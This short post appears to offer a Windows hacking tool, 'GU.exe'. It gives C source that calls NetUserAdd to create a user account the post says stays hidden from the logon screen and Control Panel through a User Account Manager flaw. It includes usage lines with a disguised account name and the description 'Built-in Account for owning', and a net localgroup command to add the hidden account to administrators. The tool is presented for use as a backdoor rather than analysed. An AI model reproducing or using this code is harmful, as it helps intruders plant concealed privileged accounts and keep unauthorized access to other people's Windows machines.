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2.5kb app that creates a hidden user account from the logon screen and control panel user accounts.
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This doesnt use any special trickery like adding the user to the special accounts in the registry
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
its actually a flaw in the User Account Manager* which doesnt show all the users with netapi.
Verified on Windows 2000 Pro,Windows XP Home Edition,Windows XP Pro & Windows 2003 Standard Edition.



   Usage: GU.exe <user> <pass> <description>
   Example: GU SecureMS letmein "Built-in Account for owning."


*Account will show up in Computer Management console
*start/run lusrmgr.msc or compmgmt.msc
also it only adds user with USER privs
if you have admin privs in your shell you can
net localgroup administrators <user> /add

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#define UNICODE

#include <wchar.h>
#include "windows.h"
#include "lm.h"

#pragma comment(lib, "Netapi32.lib")

int wmain(int argc, wchar_t *argv[])
{
if (argc != 4)
{
 wprintf(L"Usage: gu.exe UserName Password Description\n");
 return 1;
}

USER_INFO_1 userInfo1;
userInfo1.usri1_name = argv[1];
userInfo1.usri1_password = argv[2];
userInfo1.usri1_password_age = 0x12FFA4;
userInfo1.usri1_priv = 1;
userInfo1.usri1_home_dir = NULL;
userInfo1.usri1_comment = argv[3];
userInfo1.usri1_flags = 1;
userInfo1.usri1_script_path = 0;

DWORD dwError = 0;

NET_API_STATUS nStatus = NetUserAdd(0,
                       1,
                       (LPBYTE)&userInfo1,
                       &dwError);
return 0;
}